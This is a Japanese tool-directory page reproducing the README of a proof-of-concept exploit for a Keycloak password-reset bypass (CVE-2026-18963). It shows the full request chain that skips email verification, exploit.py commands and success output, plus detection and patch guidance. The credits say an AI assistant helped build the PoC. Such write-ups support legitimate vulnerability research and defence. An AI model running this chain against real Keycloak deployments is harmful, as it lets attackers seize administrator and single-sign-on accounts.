Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-18963-keycloak — CVE-2026-18963 の概念実証エクスプロイト。認証されていないアカウント乗っ取りを可能にする重大な Keycloak reset-credentials バイパスです。認可されたテストのためのラボ環境構築、検出ガイダンス、および修復手順が含まれます。 | Kitploit
ツール/GitHubGitHub/red-darkin/cve-2026-18963-keycloak
脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティ認証学習と教育
GitHubred-darkin/cve-2026-18963-keycloak

CVE-2026-18963-keycloak

CVE-2026-18963 の概念実証エクスプロイト。認証されていないアカウント乗っ取りを可能にする重大な Keycloak reset-credentials バイパスです。認可されたテストのためのラボ環境構築、検出ガイダンス、および修復手順が含まれます。

リポジトリを見る
318時間20分前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-18963 — Keycloak リセット認証情報バイパス → アカウント乗っ取り

認証なしのアカウント乗っ取りが Keycloak の reset-credentials フローで発生します。 攻撃者は ユーザー名/メールアドレス だけを知っていれば、検証メールを受け取ることなく 管理者を含む 任意のユーザーのパスワードをリセットできます。

CVE CVSS CWE License


⚠️ 免責事項 — 倫理的利用のみ

この概念実証は、教育目的、防御的研究、検知エンジニアリング、および許可を受けたセキュリティテストのためだけに公開されています。

  • 所有している、または明示的な書面による許可を得てテストするシステムに対してのみ使用してください。許可なくシステムにアクセスまたは変更することは違法であり、非倫理的です。
  • これは、チームが CVE-2026-18963 を理解、検出、および修正できるようにするための防御/教育リソースであり、第三者を攻撃するためのものではありません。
  • 本コードを使用して行われたいかなる誤用、損害、または違法行為についても、作者 (red-darkin) は一切の責任を負いません。使用方法と適用されるすべての法律の遵守については、利用者自身が単独で責任を負います。
  • 本リポジトリをダウンロードまたは使用することで、これらの条件にものとみなされます。同意できない場合は、。
同意した
使用しないでください

完全な声明については DISCLAIMER.md を参照してください。


概要

CVECVE-2026-18963
重大度緊急 — CVSS 3.1 9.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)
弱点CWE-640 — 脆弱なパスワード回復メカニズム
影響を受けるバージョンKeycloak < 26.7.2 (upstream)。RH ビルドストリームも 26.6.6 / 26.4.15 バンドルで修正済み
修正バージョンKeycloak 26.7.2 (PR #51844)
前提条件レルムで Forgot password (reset credentials) が有効 — デフォルト
影響任意のユーザー (レルム管理者を含む) の完全なアカウント乗っ取り → IdP の侵害 + SSO の横展開アクセス

動作の仕組み — 連鎖する2つのバグ

パスワードリセット (reset-credentials) フローでは、通常、新しいパスワードを設定する前に、アカウント所有者にメール送信されたリンクをクリックする必要があります。次の2つの欠陥により、攻撃者はこのチェックを完全にスキップできます。

  1. スコープなしの「Try Another Way」状態 — authenticator-selector ハンドラーは、ノート AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED = "true" を実行 ID にスコープされずに保存します。フローに再入場すると、認証セッションが混乱した/古い状態のままになります。
  2. メールステップでのトークンチェック欠如 — ResetCredentialEmail.action() は、ACTION_TOKEN_USER_ID を検証せずに context.success() を呼び出します (つまり、メール送信されたアクショントークンが実際に消費されたことを確認しません)。

これらを連鎖させると、メールを一切必要とせずに、認証セッションが任意のユーザーの UPDATE_PASSWORD ステップへ直接進みます。

root@kitploit:~
GET  /auth (client_id=account)                       ── login page (has "Forgot password?")
GET  /login-actions/reset-credentials …              ── choose-user form
POST …reset-credentials      tryAnotherWay=on        ── bug #1: enter "Try Another Way" selector
POST …reset-credentials      username=<victim>       ── select user via selector
GET  …/restart …                                     ── refresh session state
GET  /login-actions/reset-credentials …              ── re-enter → STALE selector (corrupted state)
POST …reset-credentials      username=<victim>       ── bug #2: jumps to UPDATE_PASSWORD (no token!)
POST /login-actions/required-action?execution=UPDATE_PASSWORD
        password-new=…&password-confirm=…            ── 302 → password changed → TAKEOVER

注釈付きパッチ差分については docs/ROOTCAUSE.md を参照してください。


クイックスタート (ラボ)

Docker と、requests を備えた Python 3 が必要です。

root@kitploit:~
# 1) Spin up a vulnerable Keycloak + demo realm/user  (any version < 26.7.2)
./run_lab.sh                 # uses keycloak/keycloak:26.5.0

# 2) Run the exploit against the demo 'victim' user
pip install requests
python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
    --client account --victim victim --new-pass 'Pwned-2026!'

期待される出力の末尾:

root@kitploit:~
[7] *** update-password form served WITHOUT token ***
[8] set-password -> HTTP 302
[+] CVE-2026-18963 EXPLOITED. Login: victim / Pwned-2026!

その後、victim / Pwned-2026! でログインして、乗っ取りを確認します。

ネガティブコントロール (パッチ適用後)

root@kitploit:~
KC_TAG=26.7.2 ./run_lab.sh
python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
    --client account --victim victim --new-pass 'Pwned-2026!'
# stops early — the update-password form is never served

使用方法

root@kitploit:~
python3 exploit.py --base URL --realm REALM --victim USER --new-pass PASS [options]

  --base       Keycloak base URL, e.g. http://127.0.0.1:8080
  --realm      target realm (default: master)
  --client     public client without PKCE (default: account)
  --victim     victim username or email
  --new-pass   password to set
  --proxy      route through a proxy, e.g. http://127.0.0.1:8081 (Burp)
  -k           skip TLS verification

すべての HTTP レスポンスは、検査用に ./dump/ に書き込まれます。


Burp を介したプロキシ

Keycloak は既に 8080 を使用しているため、Burp のリスナーを別のポート (例: 8081) に設定します:

root@kitploit:~
python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
    --client account --victim victim --new-pass 'Pwned-2026!' \
    --proxy http://127.0.0.1:8081

Burp Repeater 用の生のリクエストチェーンは requests/burp-chain.txt にあります。


検出

同じ認証セッション内で、メール検証が行われていないパスワード変更を探します:

  • そのセッションで、先行する VERIFY_EMAIL / EXECUTE_ACTION_TOKEN なしの UPDATE_PASSWORD イベント。
  • tryAnotherWay=on を含む reset-credentials リクエストのバースト。
  • 同じ tab_id に対する login-actions/reset-credentials への複数回の再入場。

対策

  • Keycloak 26.7.2 へのアップグレード (または修正済み RH ビルドストリーム) — 最優先。
  • 一時的な緩和策: レルム設定 → ログイン → Forgot password = オフ。
  • パッチ適用後: 管理者認証情報をローテーションし、リセット後に再ログインを強制し、上記の検出シグナルでアラートを発報します。

参考情報

  • NVD — https://nvd.nist.gov/vuln/detail/CVE-2026-18963
  • 修正 PR #51844 — https://github.com/keycloak/keycloak/pull/51844
  • Issue #51833 — https://github.com/keycloak/keycloak/issues/51833
  • Red Hat — https://access.redhat.com/security/cve/cve-2026-18963

デモ

完全な実行記録は CVE-2026-18963.mp4 (リポジトリのルート内) にあります。

クレジット

  • red-darkin — ラボでの再現、PoC、および解説記事。
  • Claude (Anthropic) — 調査および PoC 開発の支援。

この攻撃チェーンは、公開されている Keycloak パッチ (PR #51844) およびコミュニティの解説記事と照合して裏付けられています。

ライセンス

MIT © red-darkin — 教育および許可されたテスト用途のみ。

ツールをダウンロード